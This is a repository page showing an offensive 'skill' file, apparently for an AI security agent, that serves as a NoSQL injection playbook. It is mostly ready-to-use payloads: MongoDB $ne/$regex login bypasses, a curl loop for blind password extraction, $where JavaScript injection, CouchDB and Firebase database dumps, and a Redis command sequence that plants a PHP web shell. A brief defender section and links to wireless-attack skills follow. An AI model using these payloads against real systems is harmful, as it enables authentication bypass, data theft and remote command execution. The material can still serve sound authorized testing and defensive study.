nosqli
NoSQL injection — MongoDB operator injection ($ne, $gt, $where, $regex), CouchDB / Firebase / Redis attack patterns, auth bypass, blind extraction.
- License 许可
- Apache-2.0
- 所属仓库
- Akapi895/raptix
- 最近更新
- 2026-11-06
- Stars
- ★ 0
- Forks
- 0
01 前言 Front Matter
- name
- nosqli
- metadata
- { "subdomain": "injection", "when_to_use": "nosql mongodb mongo couch redis firebase $ne $gt $where injection", "mitre_attack": "T1190, T1212", "upstream_ref": "skills/_corpus/payloads/NoSQL Injection/" }
- description
- NoSQL injection — MongoDB operator injection ($ne, $gt, $where, $regex), CouchDB / Firebase / Redis attack patterns, auth bypass, blind extraction.
03 SKILL.md 正文
NoSQL Injection
NoSQL stores parse JSON / native objects. When user input becomes part of a query object (not just a value), control flows into the query.
1. MongoDB — most common target
Auth bypass
// Vulnerable: db.users.findOne({user: req.body.user, pass: req.body.pass})
POST /login
{"user": {"$ne": null}, "pass": {"$ne": null}} // returns first user
{"user": "admin", "pass": {"$gt": ""}} // admin if pw exists
{"user": "admin", "pass": {"$regex": "^A"}} // blind char extraction
If a strict-typed JSON body rejects the operator object (the API validates the field as a plain string before it reaches the query), try the SAME operators via bracket-notation form encoding instead — body-parser/qs-style middleware (Express, and PHP's native parser) decode field[$op]=value into exactly the nested object a JSON body would have carried, and it reaches a different validation code path than application/json:
username[$ne]=invalid&password[$ne]=invalid
Also try the reverse direction (JSON body when the endpoint's documented content-type is form-encoded) — different middleware handles each shape differently, and an endpoint hardened against one often isn't hardened against the other.
Aggregation / lookup endpoints
Any endpoint whose filter/sort/match parameter reaches an aggregation pipeline (not just a plain find()) accepts the same operator payloads, and $lookup.from specifically can pivot the query to a DIFFERENT collection than the one the endpoint is nominally scoped to — e.g. a "my orders" lookup that lets you redirect the join into the users collection instead:
{"$lookup": {"from": "users", "localField": "userId", "foreignField": "_id", "as": "joined"}}
GraphQL resolver pass-through
When the app has a GraphQL endpoint, a resolver that passes its input variable straight into a backing NoSQL filter is a common chained vector — operator objects work in a GraphQL variable exactly as they would in a REST JSON body:
query Login($input: UserFilter!) { user(filter: $input) { id role } }
{"input": {"username": "admin", "password": {"$ne": ""}}}
Use introspection (__schema, __type) to find which input types accept arbitrary nested objects — those are the candidates.
Server-side JS injection
{"$where": "this.user == 'admin' && sleep(5000)"} // time-based
{"$where": "function() { return this.user.length > 0 && this.user.match(/^a/) }"}
$where was deprecated in Mongo 4.4 — still appears in legacy.
Operator extraction (blind)
# Burp Intruder w/ payload list
for char in {a..z}; do
curl -s -X POST $TARGET/login \
-d "{\"user\":\"admin\",\"pass\":{\"\$regex\":\"^${char}\"}}" \
| grep -q "success" && echo "char: $char"
done
2. CouchDB
# Admin party (no auth required)
curl http://target:5984/_all_dbs
curl http://target:5984/_users/_all_docs
# Then read/modify any document
3. Firebase Realtime Database
# Public-read databases (most common misconfig)
curl https://YOUR-FIREBASE-PROJECT.firebaseio.com/.json
# Returns entire DB if rules are "true"
4. Redis
# Unauth Redis (still common on internal nets, occasionally exposed)
redis-cli -h target -p 6379 INFO
# Module loading attack if running as root + module dir writable
redis-cli -h target FLUSHALL
redis-cli -h target SET dir /var/www/html
redis-cli -h target SET dbfilename shell.php
redis-cli -h target SET payload "<?php system($_GET['c']); ?>"
redis-cli -h target SAVE
5. Tools
- NoSQLMap — automated mongo injection (
nosqlmap.py) - mongoaudit — config scanner
- Burp Intruder w/ payloads/NoSQL Injection/ as wordlist
- fuzzdb — has NoSQL payload variants
6. PoC
# Mongo auth bypass via curl
curl -s -X POST $TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$ne": null}, "password": {"$ne": null}}' \
| jq
# If logged-in-as-admin → critical
7. Severity
| Bug | Severity |
|---|---|
Auth bypass via $ne |
Critical 9.8 |
| Blind char extraction of all user data | Critical 9.0 |
$where JS injection → RCE-adjacent (mongo runs the JS) |
Critical 9.8 |
| Public CouchDB / Firebase | Critical (depends on data sensitivity) |
| Unauth Redis on internal net | High 7-8 |
8. Defender
// Sanitize/typecheck before query
if (typeof req.body.user !== 'string') return res.status(400).send();
if (typeof req.body.pass !== 'string') return res.status(400).send();
// Or use parameterized queries / Mongo ODM (Mongoose schemas)
User.findOne({user: req.body.user}).select('+password');
// Disable $where globally
mongoose.set('strictQuery', true);
Cross-references
- Upstream catalog:
skills/_corpus/payloads/NoSQL Injection/ - SQLi (different attack class, similar mindset):
skills/exploit/web/sqli.md - Bracket-notation form encoding, aggregation
$lookuppivoting, and GraphQL resolver pass-through above adapted from a sibling project's deeper NoSQL-injection playbook (strix)
04 同仓库更多 Skills
wps-pixie-dust
WPS Pixie-Dust offline nonce attack (reaver -K / pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.
wpa3-sae
WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.
wpa2-psk
WPA/WPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer/SMB encryption mode in 2026.
wpa-enterprise-eap
WPA/WPA2/WPA3-Enterprise (802.1X/EAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.
krack-fragattacks
KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation/aggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.
evil-twin-karma
Evil-twin rogue AP with KARMA/Mana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK/open networks. Distinct from wpa-enterprise-eap which targets 802.1X.